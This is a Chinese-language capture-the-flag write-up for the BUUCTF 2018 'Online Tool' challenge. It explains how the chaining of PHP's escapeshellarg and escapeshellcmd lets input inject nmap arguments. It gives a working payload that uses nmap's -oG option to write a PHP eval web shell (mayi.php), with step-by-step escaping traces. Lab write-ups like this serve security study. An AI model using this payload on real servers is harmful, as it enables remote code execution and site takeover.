0%

[BUUCTF 2018]Online Tool

知识点

  1. escapeshellarg和escapeshellcmd使用不当
  2. namp -oG 1.php可以写入一个文件

escapeshellarg和escapeshellcmd使用不当

贴一个地址看看2个函数的作用吧

这边正常的话,例如我们输入 127.0.0.1' -oG 经过 escapeshellarg处理后就变成了'127.0.0.1'\'' -oG ' 也就是发现单引号进行转义,且以它为中心分割为三部分(在两边加单引号) 。
随后在进经过escapeshellcmd 时变成:'127.0.0.1'\\'' -oG \'也就是将不成对的单引号及任意\进行添加\的操作。
而此时我们想得到shell需要写入一个shell文件我们想要正常执行<?php phpinfo(); ?> -oG 1.php但是经过上面的函数处理后变成了一个被单引号包围的字符串,不会当命令去执行,这里我们需要闭合一个单引号。
怎么闭合呢?我们举个例子;

1
2
3
4
5
6
7
我们payload为 1' shell '
escapeshellarg 》》 '1'\'' shell '\'''
escapeshellcmd 》》 '1'\\'' shell '\\'''
这样其实我们的shell已经可以被执行了
就类似:
nmap -T5 -sT -Pn --host-timeout 2 -F '1'\\'' shell '\\'''
但然闭合的场景不一样最后需要的payload样式也是不一样的。

所以最后我们的payload为:

1
' <?php @eval($_POST["mayi"]);?> -oG mayi.php '

这里记得用 -oG 其它的保存方法不行。

最后需要注意

为啥不可以 直接输入命令去执行?
 因为经过escapeshellarg后会给2边加上单引号,此时放过去就类似 nmap '-oG...'这样完全就没有作用了,开始没注意想了蛮久没明白。
需要注意的是 ;|& 等符号会被 escapeshellcmd 转义导致最后无效
payload 记得空格哟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
正确的样式:
' <?php @eval($_POST["mayi"]);?> -oG mayi.php '

$host = escapeshellarg($host);
>>> ''\'' <?php @eval($_POST["mayi"]);?> -oG mayi.php' \'''

$host = escapeshellcmd($host);
>>> ''\'' \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php' \\'''

# 等价于 \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php \\

# 根据解析规则
# 等价于 \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php
# 写入后 <?php @eval($_POST["mayi"]);?> -oG mayi.php
——————————————————————————————————————————
但是如果你的payload为:
?host=' <?php @eval($_POST["mayi"]);?> -oG mayi.php'
>>> ''\'' \<\?php @eval($_POST["mayi"])\;\?\> -oG mayi.php'\\'''
>>> <?php @eval($_POST["mayi"]);?> -oG mayi.php\\
# 这样是不会被认为是php文件的。
#所以说必须后面要有 ‘ 而且前面要有空格哟。

-------------本文结束感谢您的阅读-------------